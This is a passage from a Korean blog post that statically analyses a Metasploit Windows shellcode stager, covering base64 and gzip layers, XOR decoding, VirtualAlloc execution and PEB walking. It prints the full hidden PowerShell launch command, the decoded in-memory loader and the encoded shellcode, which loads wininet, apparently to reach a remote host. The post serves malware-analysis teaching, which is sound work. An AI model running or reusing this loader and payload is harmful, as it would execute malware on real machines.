
Metasploit Windows 셸코드 정적 분석 워크스루: PowerShell 페이로드 디코딩, XOR 난독화, PEB 워킹, Export Address Table 해석.
첫 블로그 포스트로, 흔히 쓰이는 Metasploit 셸코드를 분석해 보는 게 좋겠습니다. 인코딩, PEB, Windows 셸코드, Export Address Table과 같은 주제를 다루기에 아주 좋은 기회입니다.
가로챈 긴 명령줄부터 시작합니다.```powershell "powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWABXADIALwBpAFMAQgBaACsARAByAC8AQwBEADUARQBBAFEAWQBpAE4AQwBZAEYAZQB0AFQAVAA0AGgAawAzAEEARQBHAHkAdQBtAFMAZwBxADcAQQBJAE0AdgB1AEIAeQBHAFQARABUAC8AZAAvAG4AMgBFAEEAbQB2AFoAMwBlAGIAVwBrAFgAeQBhAEsAcQBmAEsANwBmAHUAZABTAHgAZwBlAG0AZABRAFkAbABqADAAVgA1AGcAWQArAFoAdQBqAEUAbgBrAEIARAA1AFQAegBlAFYAdQBwAFUAQwBqAHoARgBmAG0AagAzAHgAdQBHAGYAcwBXAFQAWQAvAFQAeABkAHMASwAwADcAYwBkAEMAYQB3ADMAWgBOAHMARQBSAHgASAB6AFYAKwA1AG0AZwBBAGoAeQBtAE0ATAB0AEgAcABFADMATAA3AEIAagBGADUAZQBaAGIASgBNAFMAWQBqAHMAbQB1AEgAaAB6AGsANwB2AEoAagBtAEkALwBRAGsAdgA4ADUAaQBQAHEANwBQAEcAYgBoACsAawA2AHMAQwBOAFEAVgBIAGgAcAA3AFgAWgBTADQAQwBIAEgAZgAvADMAeQBSAFkAdwBKAHcAVAA0ADkANwB5AHQAdABUAEYAdABSAGgATAAyAEYANgArAEMAbwBVAEcAUwArAE0AWgBNADEASgB2AGkAdQB2ADkAaABnAGkAegBKAC8ATQBiAGQAdgBsAGIAWQBiAEwASgBCADcASQBVAHQARQBaAEsAMwBCAG8AWgBaAHYAcAArACsANgBnAFkAVgBTAEQAeQByAEcAegBuAFYAbwBJAGYALwBuAG4ALwBuAGkAeQB4ADMAMwBXAHAASABEAEcATABsAFIASQBXADgAawBFAGMAVgBlAHgAWABiAGQAZgBKAEgANQBYAGsAdwBWAG0AcwBrAE8ARgAvAEkAOQB4AHkASgBCAEYAQwB4AHAAWgBlAEwANABmAEwAVQB5AHkAcQB6AFgATQArAE4ANwBaADkAdgB6AHgAWQB0AG4AcQB4ADAAQwBQADMANwB0AFoAQwByADEAegBGAFAASQB3ADMASQBBADIATABUAE8ARwBPAGIATAB6AEUAdQBxADcAKwBYADEAbABmAG4AagAzAFoAcABoADcARgBQAEgAdwB4AFgATgBwADUAZwBFAE8AdwBPAFQAdgBXAFAAaABxAEsASQBpADMAMwBiAHgARQBDACsAQgBMAFIAOQBCACsAUAB4AFYAdgBnAGgARwBFAEUAeABqADQAagBOAFgAVwA0AEIAdgBIADIAeAB4ADQAZABhAFAAWABiAGMATQBjAGwAOQArAFYAKwA1AHIAUQBjAGUASABLADcAaQAvAHkAMQBUADQAeQBBAFIAVQBBADAAcQBLADUAVQB0AE8ALwBBADQAYwB2AFMAeAB2AHoAdQBMAEEAbgBaACsAcwAvADUAQgBjAFIAZgBqADkAbABHAEQARgAzAFAAZgBjAEoANgBsAHEAWQB4AGUAdgBFAE0AVgB2AEYAUABEADkAawBLAHUANQBtADUAdQBYAGIASQBuAEIAbgA4AEkAZwBpAEoAeQBNADcAeQB2AEQAbABwAGsAZQBHAEkARgBvAFEASgBJADAAbgBDAGEASgBjAGYASAAxAG4ALwBpAGMAMQBWADQANQBvAC8ASQB2AEIAWABGAFgAcgBnAHYAUABPAFQAeABuAE8ANwA0AHkATAArAFAAQQBzAFYAOQB6AE4AOABYAGMASgBYAHYAUwA4ADcAZABGADcATABnADIASgB1AG4ANwBYADEAZQBEAGgASgBlAE8AagA2AFgARQBSADUANQBqAFgAUgBPACsAOABGAG4ATQA4AE4ATABGAEcAUgA2AFYASwA1AGsATwBkAGgAYgB5AGwAeABmAFkAbABpADcAbwA1AEYATgBBAFgAMwA1AG0AawB6ADIASAB2AHYATQBLAFoAKwBOAGEARgBzAFEAOQBBAHEAcwBnAEoAWQBvAC8ARwBuAE8ATwBZAFMARwB2ACsAVAAzAHMAQQBYADcAbgBQAGEAVABwADcAUgBMAEsARABGACsAcABMADYAVwBWAFgATABXAG4AKwB6AFMAWABSAFIAZABGAFUAWgBrAFoAeABGAEQAbgBWAHAAawB4AE0ASABLAHgAWABXAFoAYQBmAHUAUgBjAFgAcgBWAGkARwBtAFQATAAvAEQALwBtADkAbQBLAFgATwBoAGEASwA2AEYAWABjAGEALwBFAFQAUwBDACsAcQB4AGMAQwBIAGkAbwBrAHQAaQBDADcAQQBZAEIAbwA3AGIARABuAEkAVABWAEUAcABNADYAcABqAFkAeQBFAHgAbgBOAFgAVgBoAFAAeQBuAG0ASQBqAEkAZABhAEgAawBRAE4ASQBlAFkAZwBJAG4ASwBSAFkARwBUAFgATwBHADIATwBWAC8AegA0ADkAaQB4AGMAQgBVADgAMwBZAHUAOQBvAEEANgA2ADAASwBLAGkAMQBiAFEAYwB5ADQAVgBsAGEAVQBiAFcAbQBFADcALwB4AC8ATQB2AHQAYgBKAHUAUwBoAFMAcgBLADQAZwBmAFQAQQBhAEUAcwBCAHcAQQAxAHAAbQB4AGcANgBoADAATgBmAHkANQBaADgAUwA3ADMAOAB6ADcAOABjAFcAOAA0AE8AWgBJAHMARwBYAFEAQgBhAHkAUQBuAHcAUgBFAHAAcQBXAFMAMABaAHAAcABaAGYATAAxADMAYwBzAE0AKwBRAEkAQgBkAFEAVQBFAG4AZwBDAGkAbgBDADkAWgBtAFIAdAByAEoARABuAEcAMwBHAG8ASgBiADMATgBjADUAMgAwADUAYgAyAGkAaABxAHAAcwB3AHIATwBIAGgAdwA4AFYAdQBkAHYAdABEAEgAZgBDAHMARwB2AEoAYwBYACsAZwBzAHAAMgBsADkAdAB5AFEAYQB2AEUAaAAxAG0ASgBUAFkASABtAEYAQgBiAHAAVAAyAEoAYQBYADIAcgA0AGYAegBMAGoAWQBxADMASAAyAFQAdAB2AHIAYwBCAFkAOQBoAG0AbwBrAGEAWAB1AHAAcABWAGIARABRAEsAbQB2AG4ATwBaAEYAegBwAG4ALwBlAFgASABnAEYAbABOAE4AZQBWAHkAMABsAFoAbwA2AGoAcABTAFUAWAB0AFgAMgBnAGgASwBLAHoAUQBEAFcAOQA5AHAAZQBEAEQAcgBBADEANgBqAHYAZgBPAEYAZwAxADcARABjAHEAZQBOAHAAMQB6AHIAdwB0AEkASABSADYAcABnADgAagBVAHMARwB5ADcAWABIAGkAZAA0AGQAeQB6AHYAZAA4AE8AMwB1AGcAbgB0AFcATwB2AHEAcABtAG8AQgBQADQASgBmAEIAcQAwAFAAVwBoAHMAYwA0AHUAdAB3AGsATQBLADEAbQBGAEsAcQBwAHYAMQBqAG8AaABwAGIAZgA2AFcAaABxAEoAegBFAGUAVgBvADYAVwA2AEEAZQBMAHAAVwB4AEkAVABpADQALwBtAEoAKwBTAHMAQQBIADgAZQBnADAAdwBPAFIAcABKAGIAMQBpAHIAMgAwAGQAcgBxAGgAeQBzAHEAZAA1AE4AMQBKAG4AZQBCAGgAMQBoAFAARgBuAFYAVgBMADAAYgBIAEYAcwBiAHIAVQA0AGsAdwA3AEIAUABoAG4AbgBrAEQARwA3AHUANwB0AEgAVQBhAHYAcQBIAFQATAA5AGgASAB3AC8AMgBLAE8AcAAzAFQARAByAGoAQgA4AGkAcgBKAFkAbABmAE4ANwBTAE4AZAB1AHgAYQBPAHoAcQBlAGQAdQBvAEUASgBlAEsAdQA2ACsAQwBGAHMASwBTAHAAMwBFADUAMwB2AHUAbwAwAFoAVgBqAEwAOQBNAGcAYQB4AGoAQwB4AFEAYQArAHIAbQB0AEkAVAA2AFAAWABGAFgAZwA5ADgAUQBBAC8ASwBiAEkAdgA1AHcAZABOAEUAUAAxAG0AOAAwAEwAVQBTAG8AbwBFAGYAZwA2AGUANgBBADcASQBiAHQATQBmAEQAdQBhAFIAMgBUAE8AegBKAG0ALwBWAGsAdwBYAGIAdgA1ADQANwBxAGoAbwBWAG8ANQBVADMAQgAxAHIAMwBDAEMAcQBqAFoAZgA4AFMAcwBsAGcAagBTAGIATwA2AGIAcABjADcAagBWAGoAZQA1AFcAVwAwAHAAegBzAGEAVwA0AE8AcwB6AGkAUwBUAHgANQBtAEIAVwBSADgAWQB6AEkAYQBFADQAOAA1AHQAMgBTAFYAcgAzAEgAUABOAFEANQBZAGoAcwBEAFoAUwBxAFcATABJADIAVQBwADgAZgBpAEgAcAAxAEoATQArAEgAawB0AGUAUgBoADEAdAB1ADIAbgA3AFcAWQAyAE0AcgBEAEUAMQBGADYAQQAzAEgAVgBuACsAbQBLAEcAagBFADIAYgAyAFoAcgA0AGUAUwBNAE4ASgBsAHAANwBiAFQANgBqAFMAYQArAEYANQBIADIAbABSAFgAdwBpAEgAdwB4AEoAcABMAEgAKwBlAGMAZABQAEsAawBSAGYAdQBoAFcAVwBWADcALwB0AHAAQgBhAHUAZwAxAGgAdwB2AFAAVgA3AGwAQgBzAGcANwBrAGIAYgBjACsAbgBvAHgASABiAHQAUwBVADEAcAB6AFgAdQBwAGYAbABoAGoAbwBYAEoAcQB2ADcASgBoAEcATgBoAEgAOABvAEwAVgBsAFIAbwBNAE8ASgB2AHkARwBHAGYASQBqAHEALwBuAHIAZQBxADYARgBtAGoAVABYAEcATQBlAEkAZQAyAGcAbwBWAGsAMQBEAFgANQB1AHQAawBMAFkALwBOAG0AUwBWAHQAYQBKAHUAcQA0ADYAUABxAEsAZQB6AGoAWQB5AGYAdQBxAEUASQBzADkAMABmAG0ASwB2AFQAawBiAGQAUQBZADcATABnAGgASwBkAFUANAAzADYAYgByAEoARQBtAFEAZABOAFQAWAB6ADkAUABKAG8AZQBGADEAVABuAFMARABxADAATABvADAAdABPAGoATQA5AHoAegBoAHQAdAByAGoAWQBpADQAdgBQAGMAcwBQAGgAUwByADcAUAAzADgAaABIAGgAVQBHAGsAcwBQAC8AaQBDAHUARwByAHYAVgBZAC8AMQBBAEoAeQAyADcAcABEAHkATAA5AG0ASABRADMAMQBDAEwANAAwAHYAeAAwAFQAUwBmAFAAZgBYAG8AMQBMAGYAVgBKAHYAZgBVADUATQBtADQAMABWAEkAcwBhAGIASwB4AEEAOQBPAGYAaQBOADYAdwB0AFYAWgB4AEQARABuADEANQBGAEUAYQBTAGEAZgBsAGcAbgBpAG8AUABtAG4AYwBEADQAUgBHAGUAMwAyAGEASgB0AHUAQgB5AGIAdAAwAC8AUABRAFEAYwBIADEALwBLAFoAcwBMAGQAcgBpADQAZAB6AHEAQgBGAEEAbAB6AGIAVwBNADAAKwA1AFAAVgBGAEgASgB4ADYAMgA0AGcAagAwACsAUQAwADEAMQA0AE4AaABvAC8ANwBPAEsAYQBmAFQAaABDAGoAawBXAGQASQBLADIAVgBqAGIAYgBmAEoAZABZAFQAawBXADAANQAyAHIAUgBnAGIANgBuAGoAYgBtADgAeABDAFEALwAyAHEAYgBxAEwAOQBlAGsARABXAG0AMgAxAFcASQBRAGEAWAA3AFIAeABTAGUAcQBHADkATgBIAGkAWgBUAG8AWgBiAGUAZABQADUAcQBpAGwAUAA4AHYASAB2AHMAWQAvACsAUAB5ADIAOQBqAFgAdABYAHMAdQBBAHcARAB4AHkAVABPAC8ANABmAHoASAB3AGYAKwBkAFMANQByADAALwBRAFYAZQBDAGgAcABlAGUAbAAwAHIARgBkAEUANQA0AGYALwBOAHkAZQAzAHkAOQB6AG4AWAB2ACsANwB2AEYARQBhAFQAeABEADIAbQB2AHkAOQA3AHMAMABZAGMATwA5ADYAdABoAHEAWQBkAEkAdABFAFkAdQBkAEQANABZAGUASwA3AFgAbABSAEkAUQA1AFQASwAyAEQAQQBJAG4ANQBTAGcAVQBQAHAAKwAwAHQANQBqADQAMgBJAFUAcABGAE8AYgBVAGEANQBOAHYAdQBXADUAZwBwAFkAUABXAEwAeQBZAGUARwBQAHYATwB3ADkAZwByAFgARwBZAGoAVwBQAEwAVgBUADEAZABGADUAcAAwAFEAcABxAHUAegBUADQAdAA0AHUAYwB5AEcAawBZAHUASAAxADUAbgBzAFMAdgBqAGwAeQB4AHoAYwBLADMAOABBAHMAWQB2ADkARgBWADIAWABHAGYAYgBJAHMAeQB5AGIALwB0AGYAWQBZAHUANwAzAFkAUgBHAEQAWABWAEoANABGADEAZABPAGgANwBFAFAAbABuAHoAVQA1AEcAYQBhAGkAaABmADAAUwBlAHgANwArAFAAOABZAGcAQgArAFUALwBuAGQAbwBVAC8AQwB5AGUAZQA0AGQAdQBzAHkAZwB6AC8ARQBxADUAdgBKAC8ANQBIAEwAYQBrAHYAbAB3AEgAagBrAG4AKwBGAHIAQgBJAGQAUABJAGMAaQArAGkAaQBOAEMANwBUAGIAQwBBAFQANQB2AHMAcgBpADcAYwBvAGkASwBqAHkAVgBQAG0ARgBqAEgAZgBtAFQAdAB3AHIAeABYAHgAVgBmAGkAKwBJAGEAcwA0AHYAYgBpAFoAOAArAGYAYQBOACsAYQBBAG4ARABQAGoATgAyAGEASQBMAFEAegBqADkAbAAwAG4AVwBFAEMAVwBZAHAAaQAvAFUAdABHAFoAawBKAFEAWQB6AHYANABHAHMAegBBAEwASgB2ADgATgBBAEEAQQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA
이것은 PowerShell [base64](https://en.wikipedia.org/wiki/Base64)로 인코딩된 명령줄입니다(`-encodedcommand` 플래그로 표시됨). 디코딩하면 다음과 같습니다:```powershell
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
이 페이로드는 ("H4sIA..."로 시작하는 부분)에 대해 base64 디코딩을 한 번 더 수행하고 이를 메모리 스트림($s)에 저장합니다.
그런 다음 이를 압축된(gzip) 스트림으로 취급하여 압축을 해제하고 콘텐츠를(IEX로) 실행합니다.
압축 해제는 매우 쉽습니다. PowerShell, CyberChef 또는 Python을 사용하면 됩니다:```python
import io, gzip, base64
x=b'H4sIAAAAAAAAAK1...' # Omitted
print(gzip.GzipFile(fileobj=io.BytesIO(base64.b64decode(x[:]))).read().decode())
출력에는 더 많은 PowerShell 명령이 포함되어 있으며, 이번에는 더 복잡한 논리가 적용되어 있습니다:```powershell
Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHJTemEjhWb0L/ZiHlVBsgmXSSdvF0Ba9O7e0IyBDYZnT+J7kNT1Y4fCYVcBnNYDryujwT2USQrrqCYn9d+DhMiTw21rEmPF2C+cjDO3PCN2UEZRDmJERk1XGQNuSkBRTFBMRVcOYFFaU1dMYnNqDBUNEi4pI6tsWnmJDj2gBwomC4lt7Z1DzmDbG5920MnhiaHqm9RbmnH1PyhoEkL6VWVUls9Dh1mA/EE8HZBWg/9rCSy35+f0CBtRWnjrSEws6nhZM4a940SVua15GFtCyqNIZhyhEVTYcDjtGtHVxHmF077JuJHBuEOUTgqmEks8Pp1Rr+41ndthyyyaDxNhQXWw8mJztje2Bqltz7iRv3SlMAUrCf/mc3qC20/Zza3a+VD5nPu2Spg76wtWAd+FQCdwPOjtc13+uxTTQmHxi6k291K93rV8AFcDWjdoTnWCmRAhHeu1S1KmttsDzfbrma6W8/PB8GhzXykPT3ltVK5o1OnfETb0Rb/iJoDsBZIjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3EtWUkZKTUANQExOI35n3k4=')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}
하나씩 분석해 보겠습니다:
$DoIt 변수는 대부분의 로직을 포함합니다. func_get_proc_address라는 함수를 정의하는데, 이 함수는 kernel32!GetProcAddress에 대한 래퍼일 뿐이며, func_get_delegate_type 함수를 사용하여 리플렉티브 델리게이트를 가져옵니다.$var_code 변수는 또 다른 (!) base64 페이로드이지만, 이번에는 덜 명확합니다. 단순히 디코딩하면 쓰레기가 나오기 때문입니다.$var_code 변수는 값 35로 바이트 단위로 XOR됩니다. 이것은 디코딩해도 문자열이 나오지 않는 이유를 설명하지만, XOR 후에도 올바른 컨텍스트 없이는 여전히 유망해 보이지 않습니다.flAllocationType=0x3000, flProtect=0x40으로 호출되어 버퍼($var_buffer에 저장)를 할당합니다. MSDN을 확인하면 할당 유형이 MEM_COMMIT | MEM_RESERVE이고 페이지 보호가 PAGE_EXECUTEREADWRITE임을 알 수 있습니다.이것은 base64로 인코딩된 페이로드가 32비트 셸코드로 처리되어야 함을 알려줍니다. XOR를 적용하고 바이너리 파일로 작성하여 다시 정적으로 분석해 보겠습니다:```python import base64 x=b'38uqIyMjQ6rGEvFHqHE...' # Omitted open(r'/tmp/payload.bin', 'wb').write(bytes([ i^35 for i in base64.b64decode(x) ]))
여기서부터 재미가 시작됩니다. 좋아하는 디스어셈블러(IDA, Binary Ninja 등)를 사용할 수 있습니다.
opsec에 신경 쓰지 않는다면 훌륭한 [온라인 디스어셈블러](https://shell-storm.org/online/Online-Assembler-and-Disassembler)도 몇 가지 있습니다.
셸코드의 시작은 오프셋 0에 있으며 코드는 X86 코드로 처리해야 합니다.
## PEB 탐색
코드는 CALL 명령어로 시작합니다:```assembly
0x0000000000000000: FC cld
0x0000000000000001: E8 89 00 00 00 call 0x8f
cld 명령은 방향 플래그를 지웁니다(그래서 movsb 같은 문자열 연산이 뒤로가 아닌 앞으로 이동합니다). 그런 다음 0x8f로 상대 호출(relative call)을 수행합니다.
call은 다음 명령어를 스택에 푸시하므로, 스택에는 셸코드의 오프셋 6에 있는 주소가 푸시되었다는 점을 기억해야 합니다.
이제 오프셋 0x8f에 있는 코드를 살펴보겠습니다:```assembly
0x000000000000008f: 5D pop ebp
0x0000000000000090: 68 6E 65 74 00 push 0x74656e
0x0000000000000095: 68 77 69 6E 69 push 0x696e6977
0x000000000000009a: 54 push esp
0x000000000000009b: 68 4C 77 26 07 push 0x726774c
0x00000000000000a0: FF D5 call ebp
주소를 저장하기 위해 `pop`을 즉시 사용하는 것은 일반적인 셸코딩 트릭입니다 (`call-pop` 시퀀스).
다음 push들은 흥미롭습니다 - 표면적으로는 이상한 상수처럼 보이지만, ANSI 문자열로 디코딩하면 흥미로운 사실이 드러납니다:```python
import struct
struct.pack('<LL', 0x696e6977, 0x74656e)
스택 푸시를 살펴보고 있으므로, 반대 순서로 추출해야 했고 Little Endian을 사용해야 합니다(코드에서 < 기호입니다).
이것은 b'wininet\x00'를 출력하는데, 이는 인터넷 통신에 사용되는 Windows DLL의 이름입니다.
push esp는 스택의 최상위 주소를 푸시한다는 점에 유의하세요. 이는 wininet NUL 종료 문자열에 대한 포인터를 얻는 좋은 방법입니다.
계속해서, 우리는 또 다른 상수(0x726774c)를 푸시합니다. 이 상수는 의미 있는 것으로 디코딩되지 않으며, ebp를 호출합니다. ebp는 셸코드의 시작 부분에서 오프셋 6에 위치한 코드 조각을 가리킨다는 것을 기억하세요. 그 부분을 살펴보겠습니다!
오프셋 6의 코드는 몇 가지 흥미로운 명령어로 시작합니다:```assembly
0x0000000000000006: 60 pushad
0x0000000000000007: 89 E5 mov ebp, esp
0x0000000000000009: 31 D2 xor edx, edx
0x000000000000000b: 64 8B 52 30 mov edx, dword ptr fs:[edx + 0x30]
0x000000000000000f: 8B 52 0C mov edx, dword ptr [edx + 0xc]
0x0000000000000012: 8B 52 14 mov edx, dword ptr [edx + 0x14]
0x0000000000000015: 8B 72 28 mov esi, dword ptr [edx + 0x28]
0x0000000000000018: 0F B7 4A 26 movzx ecx, word ptr [edx + 0x26]
간단한 프롤로그(모든 레지스터를 푸시하고 새 스택 프레임을 생성) 이후, `edx`는 (자체 XOR을 통해) 0으로 초기화됩니다.
그런 다음 `edx`는 `fs:[0x30]`의 주소를 가져옵니다. 이 주소는 [프로세스 환경 블록(PEB)](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb)입니다.
PEB는 프로세스에서 사용할 유용한 데이터(명령줄, 디버깅 상태, 로드된 모듈 등)를 포함하는 유저모드의 블록입니다. 불필요한 커널 syscall을 피하기 위한 성능 향상 장치입니다.
참조되는 몇 가지 주소가 있습니다. IDA에서 PEB 구조체를 로드할 수 있지만, 완전성을 위해 설명하면:
